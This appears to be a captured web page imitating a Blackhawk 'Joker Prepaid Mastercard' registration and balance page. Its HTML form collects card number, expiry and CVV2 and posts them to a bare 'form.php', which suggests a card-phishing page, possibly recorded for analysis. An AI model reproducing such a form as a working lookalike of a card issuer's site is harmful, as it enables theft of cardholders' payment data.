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POST form.php

<form action="form.php" method="POST" _ngcontent-lqd-c42="" novalidate="" class="row justify-content-center ng-untouched ng-pristine ng-invalid" data-dashlane-rid="58d16da7bffe8021" data-form-type="payment">
  <div _ngcontent-lqd-c42="" class="card-info row justify-content-around col-xl-10 col-lg-11 col-12 pl-4 pr-0" bis_skin_checked="1">
    <div _ngcontent-lqd-c42="" class="col-12 col-md-4 form-group form-format px-1 px-md-0" bis_skin_checked="1">
      <label _ngcontent-lqd-c42="" for="credit-card-number" class="card-info-title">Enter Prepaid Card Number</label><input _ngcontent-lqd-c42="" type="text" id="credit-card-number" minlength="16" maxlength="16" pattern="[0-9]+" name="cardNumber"
        ngmodel="" required="" class="form-control form-input ng-untouched ng-pristine ng-invalid" placeholder="Card Number" data-dashlane-rid="c110874a9044f8a2" data-kwimpalastatus="alive" data-kwimpalaid="1704384894792-0"
        data-form-type="payment,number,credit_card" value=""><!----><span id="1704384894792-0" data-dashlanecreated="true"
        style="color: initial; font: initial; font-palette: initial; font-synthesis: initial; forced-color-adjust: initial; text-orientation: initial; text-rendering: initial; -webkit-font-smoothing: initial; -webkit-locale: initial; -webkit-text-orientation: initial; -webkit-writing-mode: initial; writing-mode: initial; zoom: initial; accent-color: initial; place-content: initial; place-items: initial; place-self: initial; alignment-baseline: initial; animation-composition: initial; animation: initial; app-region: initial; appearance: initial; aspect-ratio: initial; backdrop-filter: initial; backface-visibility: initial; background: /*savepage-url=chrome-extension://fdjamakpfbbddfjaooikfcpapjohcfmg/content/injected/logo-autofill-unknown.svg*/ url() center center / contain no-repeat; background-blend-mode: initial; baseline-shift: initial; baseline-source: initial; block-size: initial; border-block: initial; border: none; border-radius: initial; border-collapse: initial; border-end-end-radius: initial; border-end-start-radius: initial; border-inline: initial; border-start-end-radius: initial; border-start-start-radius: initial; bottom: initial; box-shadow: initial; box-sizing: initial; break-after: initial; break-before: initial; break-inside: initial; buffered-rendering: initial; caption-side: initial; caret-color: initial; clear: initial; clip: initial; clip-path: initial; clip-rule: initial; color-interpolation: initial; color-interpolation-filters: initial; color-rendering: initial; color-scheme: initial; columns: initial; column-fill: initial; gap: initial; column-rule: initial; column-span: initial; contain: initial; contain-intrinsic-block-size: initial; contain-intrinsic-size: initial; contain-intrinsic-inline-size: initial; container: initial; content: initial; content-visibility: initial; counter-increment: initial; counter-reset: initial; counter-set: initial; cursor: pointer; cx: initial; cy: initial; d: initial; display: inline; dominant-baseline: initial; empty-cells: initial; fill: initial; fill-opacity: initial; fill-rule: initial; filter: initial; flex: initial; flex-flow: initial; float: initial; flood-color: initial; flood-opacity: initial; grid: initial; grid-area: initial; height: 16px; hyphenate-character: initial; hyphenate-limit-chars: initial; hyphens: initial; image-orientation: initial; image-rendering: initial; initial-letter: initial; inline-size: initial; inset-block: initial; inset-inline: initial; isolation: initial; left: 211px; letter-spacing: initial; lighting-color: initial; line-break: initial; list-style: initial; margin-block: initial; margin: initial; margin-inline: initial; marker: initial; mask: initial; mask-type: initial; math-depth: initial; math-shift: initial; math-style: initial; max-block-size: initial; max-height: initial; max-inline-size: initial; max-width: initial; min-block-size: initial; min-height: initial; min-inline-size: initial; min-width: 16px; mix-blend-mode: initial; object-fit: initial; object-position: initial; object-view-box: initial; offset: initial; opacity: 1; order: initial; orphans: initial; outline: initial; outline-offset: initial; overflow-anchor: initial; overflow-clip-margin: initial; overflow-wrap: initial; overflow: initial; overlay: initial; overscroll-behavior-block: initial; overscroll-behavior-inline: initial; overscroll-behavior: initial; padding-block: initial; padding: initial; padding-inline: initial; page: initial; page-orientation: initial; paint-order: initial; perspective: initial; perspective-origin: initial; pointer-events: initial; position: absolute; quotes: initial; r: initial; resize: initial; right: initial; rotate: initial; ruby-position: initial; rx: initial; ry: initial; scale: initial; scroll-behavior: initial; scroll-margin-block: initial; scroll-margin: initial; scroll-margin-inline: initial; scroll-padding-block: initial; scroll-padding: initial; scroll-padding-inline: initial; scroll-snap-align: initial; scroll-snap-stop: initial; scroll-snap-type: initial; scroll-timeline: initial; scrollbar-gutter: initial; shape-image-threshold: initial; shape-margin: initial; shape-outside: initial; shape-rendering: initial; size: initial; speak: initial; stop-color: initial; stop-opacity: initial; stroke: initial; stroke-dasharray: initial; stroke-dashoffset: initial; stroke-linecap: initial; stroke-linejoin: initial; stroke-miterlimit: initial; stroke-opacity: initial; stroke-width: initial; tab-size: initial; table-layout: initial; text-align: initial; text-align-last: initial; text-anchor: initial; text-combine-upright: initial; text-decoration: initial; text-decoration-skip-ink: initial; text-emphasis: initial; text-emphasis-position: initial; text-indent: initial; text-overflow: initial; text-shadow: initial; text-size-adjust: initial; text-transform: initial; text-underline-offset: initial; text-underline-position: initial; white-space: initial; timeline-scope: initial; top: 46px; touch-action: initial; transform: initial; transform-box: initial; transform-origin: initial; transform-style: initial; transition: initial; translate: initial; user-select: initial; vector-effect: initial; vertical-align: initial; view-timeline: initial; view-transition-name: initial; visibility: visible; border-spacing: initial; -webkit-box-align: initial; -webkit-box-decoration-break: initial; -webkit-box-direction: initial; -webkit-box-flex: initial; -webkit-box-ordinal-group: initial; -webkit-box-orient: initial; -webkit-box-pack: initial; -webkit-box-reflect: initial; -webkit-line-break: initial; -webkit-line-clamp: initial; -webkit-mask-box-image: initial; -webkit-print-color-adjust: initial; -webkit-rtl-ordering: initial; -webkit-ruby-position: initial; -webkit-tap-highlight-color: initial; -webkit-text-combine: initial; -webkit-text-decorations-in-effect: initial; -webkit-text-fill-color: initial; -webkit-text-security: initial; -webkit-text-stroke: initial; -webkit-user-drag: initial; -webkit-user-modify: initial; widows: initial; width: 16px; will-change: initial; word-break: initial; word-spacing: initial; x: initial; y: initial; z-index: auto;"></span>
    </div>
    <div _ngcontent-lqd-c42="" class="col-12 col-md-4 row form-group form-format px-1 pl-md-3" bis_skin_checked="1">
      <div _ngcontent-lqd-c42="" class="expiration pl-0 pl-md-5" bis_skin_checked="1">
        <label _ngcontent-lqd-c42="" for="credit-card-dates" class="card-info-title">Enter Expiration Date</label>
        <div _ngcontent-lqd-c42="" class="form-inline" bis_skin_checked="1"><input _ngcontent-lqd-c42="" aria-label="Expiration Month" aria-required="True" id="expiration_month" minlength="2" maxlength="2" pattern="[0-9]+" role="textbox" type="text"
            value="" name="expirationMonth" ngmodel="" required="" class="form-control enter-date form-input ng-untouched ng-pristine ng-invalid" placeholder="MM" data-dashlane-rid="037cd3d7a52350f6" data-kwimpalastatus="alive"
            data-kwimpalaid="1704384894792-1" data-form-type="date,expiration,credit_card,payment,month"><span _ngcontent-lqd-c42="" class="slash"> / </span><input _ngcontent-lqd-c42="" aria-label="Expiration Year" aria-required="True"
            id="expiration_year" minlength="2" maxlength="2" pattern="[0-9]+" role="textbox" type="text" value="" name="expirationYear" ngmodel="" required="" class="form-control enter-date form-input ng-untouched ng-pristine ng-invalid"
            placeholder="YY" data-dashlane-rid="ecf2e97c6fbca383" data-kwimpalastatus="alive" data-kwimpalaid="1704384894792-2" data-form-type="date,expiration,credit_card,payment,year"><span id="1704384894792-1" data-dashlanecreated="true"
            style="color: initial; font: initial; font-palette: initial; font-synthesis: initial; forced-color-adjust: initial; text-orientation: initial; text-rendering: initial; -webkit-font-smoothing: initial; -webkit-locale: initial; -webkit-text-orientation: initial; -webkit-writing-mode: initial; writing-mode: initial; zoom: initial; accent-color: initial; place-content: initial; place-items: initial; place-self: initial; alignment-baseline: initial; animation-composition: initial; animation: initial; app-region: initial; appearance: initial; aspect-ratio: initial; backdrop-filter: initial; backface-visibility: initial; background: /*savepage-url=chrome-extension://fdjamakpfbbddfjaooikfcpapjohcfmg/content/injected/logo-autofill-unknown.svg*/ url() center center / contain no-repeat; background-blend-mode: initial; baseline-shift: initial; baseline-source: initial; block-size: initial; border-block: initial; border: none; border-radius: initial; border-collapse: initial; border-end-end-radius: initial; border-end-start-radius: initial; border-inline: initial; border-start-end-radius: initial; border-start-start-radius: initial; bottom: initial; box-shadow: initial; box-sizing: initial; break-after: initial; break-before: initial; break-inside: initial; buffered-rendering: initial; caption-side: initial; caret-color: initial; clear: initial; clip: initial; clip-path: initial; clip-rule: initial; color-interpolation: initial; color-interpolation-filters: initial; color-rendering: initial; color-scheme: initial; columns: initial; column-fill: initial; gap: initial; column-rule: initial; column-span: initial; contain: initial; contain-intrinsic-block-size: initial; contain-intrinsic-size: initial; contain-intrinsic-inline-size: initial; container: initial; content: initial; content-visibility: initial; counter-increment: initial; counter-reset: initial; counter-set: initial; cursor: pointer; cx: initial; cy: initial; d: initial; display: inline; dominant-baseline: initial; empty-cells: initial; fill: initial; fill-opacity: initial; fill-rule: initial; filter: initial; flex: initial; flex-flow: initial; float: initial; flood-color: initial; flood-opacity: initial; grid: initial; grid-area: initial; height: 16px; hyphenate-character: initial; hyphenate-limit-chars: initial; hyphens: initial; image-orientation: initial; image-rendering: initial; initial-letter: initial; inline-size: initial; inset-block: initial; inset-inline: initial; isolation: initial; left: 92.75px; letter-spacing: initial; lighting-color: initial; line-break: initial; list-style: initial; margin-block: initial; margin: initial; margin-inline: initial; marker: initial; mask: initial; mask-type: initial; math-depth: initial; math-shift: initial; math-style: initial; max-block-size: initial; max-height: initial; max-inline-size: initial; max-width: initial; min-block-size: initial; min-height: initial; min-inline-size: initial; min-width: 13px; mix-blend-mode: initial; object-fit: initial; object-position: initial; object-view-box: initial; offset: initial; opacity: 1; order: initial; orphans: initial; outline: initial; outline-offset: initial; overflow-anchor: initial; overflow-clip-margin: initial; overflow-wrap: initial; overflow: initial; overlay: initial; overscroll-behavior-block: initial; overscroll-behavior-inline: initial; overscroll-behavior: initial; padding-block: initial; padding: initial; padding-inline: initial; page: initial; page-orientation: initial; paint-order: initial; perspective: initial; perspective-origin: initial; pointer-events: initial; position: absolute; quotes: initial; r: initial; resize: initial; right: initial; rotate: initial; ruby-position: initial; rx: initial; ry: initial; scale: initial; scroll-behavior: initial; scroll-margin-block: initial; scroll-margin: initial; scroll-margin-inline: initial; scroll-padding-block: initial; scroll-padding: initial; scroll-padding-inline: initial; scroll-snap-align: initial; scroll-snap-stop: initial; scroll-snap-type: initial; scroll-timeline: initial; scrollbar-gutter: initial; shape-image-threshold: initial; shape-margin: initial; shape-outside: initial; shape-rendering: initial; size: initial; speak: initial; stop-color: initial; stop-opacity: initial; stroke: initial; stroke-dasharray: initial; stroke-dashoffset: initial; stroke-linecap: initial; stroke-linejoin: initial; stroke-miterlimit: initial; stroke-opacity: initial; stroke-width: initial; tab-size: initial; table-layout: initial; text-align: initial; text-align-last: initial; text-anchor: initial; text-combine-upright: initial; text-decoration: initial; text-decoration-skip-ink: initial; text-emphasis: initial; text-emphasis-position: initial; text-indent: initial; text-overflow: initial; text-shadow: initial; text-size-adjust: initial; text-transform: initial; text-underline-offset: initial; text-underline-position: initial; white-space: initial; timeline-scope: initial; top: 46px; touch-action: initial; transform: initial; transform-box: initial; transform-origin: initial; transform-style: initial; transition: initial; translate: initial; user-select: initial; vector-effect: initial; vertical-align: initial; view-timeline: initial; view-transition-name: initial; visibility: visible; border-spacing: initial; -webkit-box-align: initial; -webkit-box-decoration-break: initial; -webkit-box-direction: initial; -webkit-box-flex: initial; -webkit-box-ordinal-group: initial; -webkit-box-orient: initial; -webkit-box-pack: initial; -webkit-box-reflect: initial; -webkit-line-break: initial; -webkit-line-clamp: initial; -webkit-mask-box-image: initial; -webkit-print-color-adjust: initial; -webkit-rtl-ordering: initial; -webkit-ruby-position: initial; -webkit-tap-highlight-color: initial; -webkit-text-combine: initial; -webkit-text-decorations-in-effect: initial; -webkit-text-fill-color: initial; -webkit-text-security: initial; -webkit-text-stroke: initial; -webkit-user-drag: initial; -webkit-user-modify: initial; widows: initial; width: 13px; will-change: initial; word-break: initial; word-spacing: initial; x: initial; y: initial; z-index: auto;"></span><span
            id="1704384894792-2" data-dashlanecreated="true"
            style="color: initial; font: initial; font-palette: initial; font-synthesis: initial; forced-color-adjust: initial; text-orientation: initial; text-rendering: initial; -webkit-font-smoothing: initial; -webkit-locale: initial; -webkit-text-orientation: initial; -webkit-writing-mode: initial; writing-mode: initial; zoom: initial; accent-color: initial; place-content: initial; place-items: initial; place-self: initial; alignment-baseline: initial; animation-composition: initial; animation: initial; app-region: initial; appearance: initial; aspect-ratio: initial; backdrop-filter: initial; backface-visibility: initial; background: /*savepage-url=chrome-extension://fdjamakpfbbddfjaooikfcpapjohcfmg/content/injected/logo-autofill-unknown.svg*/ url() center center / contain no-repeat; background-blend-mode: initial; baseline-shift: initial; baseline-source: initial; block-size: initial; border-block: initial; border: none; border-radius: initial; border-collapse: initial; border-end-end-radius: initial; border-end-start-radius: initial; border-inline: initial; border-start-end-radius: initial; border-start-start-radius: initial; bottom: initial; box-shadow: initial; box-sizing: initial; break-after: initial; break-before: initial; break-inside: initial; buffered-rendering: initial; caption-side: initial; caret-color: initial; clear: initial; clip: initial; clip-path: initial; clip-rule: initial; color-interpolation: initial; color-interpolation-filters: initial; color-rendering: initial; color-scheme: initial; columns: initial; column-fill: initial; gap: initial; column-rule: initial; column-span: initial; contain: initial; contain-intrinsic-block-size: initial; contain-intrinsic-size: initial; contain-intrinsic-inline-size: initial; container: initial; content: initial; content-visibility: initial; counter-increment: initial; counter-reset: initial; counter-set: initial; cursor: pointer; cx: initial; cy: initial; d: initial; display: inline; dominant-baseline: initial; empty-cells: initial; fill: initial; fill-opacity: initial; fill-rule: initial; filter: initial; flex: initial; flex-flow: initial; float: initial; flood-color: initial; flood-opacity: initial; grid: initial; grid-area: initial; height: 16px; hyphenate-character: initial; hyphenate-limit-chars: initial; hyphens: initial; image-orientation: initial; image-rendering: initial; initial-letter: initial; inline-size: initial; inset-block: initial; inset-inline: initial; isolation: initial; left: 186.094px; letter-spacing: initial; lighting-color: initial; line-break: initial; list-style: initial; margin-block: initial; margin: initial; margin-inline: initial; marker: initial; mask: initial; mask-type: initial; math-depth: initial; math-shift: initial; math-style: initial; max-block-size: initial; max-height: initial; max-inline-size: initial; max-width: initial; min-block-size: initial; min-height: initial; min-inline-size: initial; min-width: 13px; mix-blend-mode: initial; object-fit: initial; object-position: initial; object-view-box: initial; offset: initial; opacity: 1; order: initial; orphans: initial; outline: initial; outline-offset: initial; overflow-anchor: initial; overflow-clip-margin: initial; overflow-wrap: initial; overflow: initial; overlay: initial; overscroll-behavior-block: initial; overscroll-behavior-inline: initial; overscroll-behavior: initial; padding-block: initial; padding: initial; padding-inline: initial; page: initial; page-orientation: initial; paint-order: initial; perspective: initial; perspective-origin: initial; pointer-events: initial; position: absolute; quotes: initial; r: initial; resize: initial; right: initial; rotate: initial; ruby-position: initial; rx: initial; ry: initial; scale: initial; scroll-behavior: initial; scroll-margin-block: initial; scroll-margin: initial; scroll-margin-inline: initial; scroll-padding-block: initial; scroll-padding: initial; scroll-padding-inline: initial; scroll-snap-align: initial; scroll-snap-stop: initial; scroll-snap-type: initial; scroll-timeline: initial; scrollbar-gutter: initial; shape-image-threshold: initial; shape-margin: initial; shape-outside: initial; shape-rendering: initial; size: initial; speak: initial; stop-color: initial; stop-opacity: initial; stroke: initial; stroke-dasharray: initial; stroke-dashoffset: initial; stroke-linecap: initial; stroke-linejoin: initial; stroke-miterlimit: initial; stroke-opacity: initial; stroke-width: initial; tab-size: initial; table-layout: initial; text-align: initial; text-align-last: initial; text-anchor: initial; text-combine-upright: initial; text-decoration: initial; text-decoration-skip-ink: initial; text-emphasis: initial; text-emphasis-position: initial; text-indent: initial; text-overflow: initial; text-shadow: initial; text-size-adjust: initial; text-transform: initial; text-underline-offset: initial; text-underline-position: initial; white-space: initial; timeline-scope: initial; top: 46px; touch-action: initial; transform: initial; transform-box: initial; transform-origin: initial; transform-style: initial; transition: initial; translate: initial; user-select: initial; vector-effect: initial; vertical-align: initial; view-timeline: initial; view-transition-name: initial; visibility: visible; border-spacing: initial; -webkit-box-align: initial; -webkit-box-decoration-break: initial; -webkit-box-direction: initial; -webkit-box-flex: initial; -webkit-box-ordinal-group: initial; -webkit-box-orient: initial; -webkit-box-pack: initial; -webkit-box-reflect: initial; -webkit-line-break: initial; -webkit-line-clamp: initial; -webkit-mask-box-image: initial; -webkit-print-color-adjust: initial; -webkit-rtl-ordering: initial; -webkit-ruby-position: initial; -webkit-tap-highlight-color: initial; -webkit-text-combine: initial; -webkit-text-decorations-in-effect: initial; -webkit-text-fill-color: initial; -webkit-text-security: initial; -webkit-text-stroke: initial; -webkit-user-drag: initial; -webkit-user-modify: initial; widows: initial; width: 13px; will-change: initial; word-break: initial; word-spacing: initial; x: initial; y: initial; z-index: auto;"></span>
        </div>
        <!----><!---->
      </div>
    </div>
    <div _ngcontent-lqd-c42="" class="col-12 col-md-4 form-group form-format px-1 pl-md-4 pl-lg-5" bis_skin_checked="1">
      <label _ngcontent-lqd-c42="" for="credit-card-code" class="card-info-title">Enter 3-Digit Code (CVV2)</label>
      <div _ngcontent-lqd-c42="" class="d-flex align-items-center" bis_skin_checked="1">
        <input _ngcontent-lqd-c42="" type="password" id="credit-card-code" minlength="3" maxlength="3" pattern="[0-9]+" name="cvv" ngmodel="" required="" class="form-control form-input ng-untouched ng-pristine ng-invalid" placeholder="Enter Code"
          data-dashlane-rid="db0dbaf9e4ea32f0" data-kwimpalastatus="alive" data-kwimpalaid="1704384894792-3" data-form-type="payment,credit_card,cvv"
          value=""><!----><a _ngcontent-lqd-c42="" triggers="mouseenter:mouseleave" class="bd-help-icon"></a><!----><span id="1704384894792-3" data-dashlanecreated="true"
          style="color: initial; font: initial; font-palette: initial; font-synthesis: initial; forced-color-adjust: initial; text-orientation: initial; text-rendering: initial; -webkit-font-smoothing: initial; -webkit-locale: initial; -webkit-text-orientation: initial; -webkit-writing-mode: initial; writing-mode: initial; zoom: initial; accent-color: initial; place-content: initial; place-items: initial; place-self: initial; alignment-baseline: initial; animation-composition: initial; animation: initial; app-region: initial; appearance: initial; aspect-ratio: initial; backdrop-filter: initial; backface-visibility: initial; background: /*savepage-url=chrome-extension://fdjamakpfbbddfjaooikfcpapjohcfmg/content/injected/logo-autofill-unknown.svg*/ url() center center / contain no-repeat; background-blend-mode: initial; baseline-shift: initial; baseline-source: initial; block-size: initial; border-block: initial; border: none; border-radius: initial; border-collapse: initial; border-end-end-radius: initial; border-end-start-radius: initial; border-inline: initial; border-start-end-radius: initial; border-start-start-radius: initial; bottom: initial; box-shadow: initial; box-sizing: initial; break-after: initial; break-before: initial; break-inside: initial; buffered-rendering: initial; caption-side: initial; caret-color: initial; clear: initial; clip: initial; clip-path: initial; clip-rule: initial; color-interpolation: initial; color-interpolation-filters: initial; color-rendering: initial; color-scheme: initial; columns: initial; column-fill: initial; gap: initial; column-rule: initial; column-span: initial; contain: initial; contain-intrinsic-block-size: initial; contain-intrinsic-size: initial; contain-intrinsic-inline-size: initial; container: initial; content: initial; content-visibility: initial; counter-increment: initial; counter-reset: initial; counter-set: initial; cursor: pointer; cx: initial; cy: initial; d: initial; display: inline; dominant-baseline: initial; empty-cells: initial; fill: initial; fill-opacity: initial; fill-rule: initial; filter: initial; flex: initial; flex-flow: initial; float: initial; flood-color: initial; flood-opacity: initial; grid: initial; grid-area: initial; height: 16px; hyphenate-character: initial; hyphenate-limit-chars: initial; hyphens: initial; image-orientation: initial; image-rendering: initial; initial-letter: initial; inline-size: initial; inset-block: initial; inset-inline: initial; isolation: initial; left: 171px; letter-spacing: initial; lighting-color: initial; line-break: initial; list-style: initial; margin-block: initial; margin: initial; margin-inline: initial; marker: initial; mask: initial; mask-type: initial; math-depth: initial; math-shift: initial; math-style: initial; max-block-size: initial; max-height: initial; max-inline-size: initial; max-width: initial; min-block-size: initial; min-height: initial; min-inline-size: initial; min-width: 16px; mix-blend-mode: initial; object-fit: initial; object-position: initial; object-view-box: initial; offset: initial; opacity: 1; order: initial; orphans: initial; outline: initial; outline-offset: initial; overflow-anchor: initial; overflow-clip-margin: initial; overflow-wrap: initial; overflow: initial; overlay: initial; overscroll-behavior-block: initial; overscroll-behavior-inline: initial; overscroll-behavior: initial; padding-block: initial; padding: initial; padding-inline: initial; page: initial; page-orientation: initial; paint-order: initial; perspective: initial; perspective-origin: initial; pointer-events: initial; position: absolute; quotes: initial; r: initial; resize: initial; right: initial; rotate: initial; ruby-position: initial; rx: initial; ry: initial; scale: initial; scroll-behavior: initial; scroll-margin-block: initial; scroll-margin: initial; scroll-margin-inline: initial; scroll-padding-block: initial; scroll-padding: initial; scroll-padding-inline: initial; scroll-snap-align: initial; scroll-snap-stop: initial; scroll-snap-type: initial; scroll-timeline: initial; scrollbar-gutter: initial; shape-image-threshold: initial; shape-margin: initial; shape-outside: initial; shape-rendering: initial; size: initial; speak: initial; stop-color: initial; stop-opacity: initial; stroke: initial; stroke-dasharray: initial; stroke-dashoffset: initial; stroke-linecap: initial; stroke-linejoin: initial; stroke-miterlimit: initial; stroke-opacity: initial; stroke-width: initial; tab-size: initial; table-layout: initial; text-align: initial; text-align-last: initial; text-anchor: initial; text-combine-upright: initial; text-decoration: initial; text-decoration-skip-ink: initial; text-emphasis: initial; text-emphasis-position: initial; text-indent: initial; text-overflow: initial; text-shadow: initial; text-size-adjust: initial; text-transform: initial; text-underline-offset: initial; text-underline-position: initial; white-space: initial; timeline-scope: initial; top: 46px; touch-action: initial; transform: initial; transform-box: initial; transform-origin: initial; transform-style: initial; transition: initial; translate: initial; user-select: initial; vector-effect: initial; vertical-align: initial; view-timeline: initial; view-transition-name: initial; visibility: visible; border-spacing: initial; -webkit-box-align: initial; -webkit-box-decoration-break: initial; -webkit-box-direction: initial; -webkit-box-flex: initial; -webkit-box-ordinal-group: initial; -webkit-box-orient: initial; -webkit-box-pack: initial; -webkit-box-reflect: initial; -webkit-line-break: initial; -webkit-line-clamp: initial; -webkit-mask-box-image: initial; -webkit-print-color-adjust: initial; -webkit-rtl-ordering: initial; -webkit-ruby-position: initial; -webkit-tap-highlight-color: initial; -webkit-text-combine: initial; -webkit-text-decorations-in-effect: initial; -webkit-text-fill-color: initial; -webkit-text-security: initial; -webkit-text-stroke: initial; -webkit-user-drag: initial; -webkit-user-modify: initial; widows: initial; width: 16px; will-change: initial; word-break: initial; word-spacing: initial; x: initial; y: initial; z-index: auto;"></span>
      </div>
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  </div>
  <div _ngcontent-lqd-c42="" class="submit-form col-12 row justify-content-center mt-2" bis_skin_checked="1">
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Text Content

Register the Joker Prepaid Mastercard®
français
français Register the Joker Prepaid Mastercard® REGISTER YOUR CARD CHECK YOUR
BALANCE FEATURES & BENEFITS WHERE CAN I PURCHASE?
 * Check Balance/Transactions
 * Register Card
   

Please enter your card information below to view your transactions or balance.

Enter Prepaid Card Number
Enter Expiration Date
/
Enter 3-Digit Code (CVV2)

Cancel Submit


FEES AND EXPIRY


 * Monthly maintenance fee (if applies for the product)
   $3.00
   Starts 12 months after card activation date
 * Foreign exchange fee
   2.5%
   Subject to change. See terms and conditions for details.
 * Expiry Date
   There is an expiry date printed on the face of the Card. This is the date
   after which you may not use that Card for any purpose. Cards may be replaced
   on and following the expiry date indicated on the face of the Card at no cost
   to the Cardholder.

To request a replacement contact customer service
1-855-288-0926


BONUS TERMS AND CONDITIONS



5% BONUS TERMS AND CONDITIONS
Cardholders receive a bonus back on the card in the amount of 5% of all
signature-based purchases made at participating merchants (merchants listed
below). Bonus funds will be added to the balance on the card within 10 days
following an eligible purchase, dependent on merchant settlement. Bonus funds
become part of the card balance and are treated as such for purposes of card
and/or fund expiration. Qualifying purchase, participating merchant settlement,
and bonus transaction must occur prior to card ‘valid thru’ date. Only the
amount of a transaction applied to the card at participating merchants is
eligible for the bonus. If a transaction involves the card plus a supplemental
payment method, the portion of the transaction applied to the supplemental
payment method is not eligible. Credit transactions may result in a reduction in
bonus funds. Bonus funds will be rounded to the nearest one-hundredth of one
dollar. Specific merchant terms and conditions may apply. Blackhawk Network
(Canada) Ltd. is not responsible for delayed merchant settlements. Participating
merchants subject to change. Bonus award is subject to termination or change at
any time without notice. Card terms, conditions and limitations apply. See card
materials for details.

FAQPRIVACY POLICYCARDHOLDER AGREEMENTDISPUTE TRANSACTIONSCONTACT US

Cookie Preferences

This card is issued by Peoples Trust Company under licence from Mastercard
International. Mastercard™/® is a registered trademark, and the circles design
is a trademark of Mastercard International Incorporated.

Card issued by Peoples Trust Company pursuant to a licence by Visa
Int.*Trademark of Visa Int., used under licence by Peoples Trust Company.

© 2024 Blackhawk Network (Canada), Ltd. All Rights Reserved. Designated
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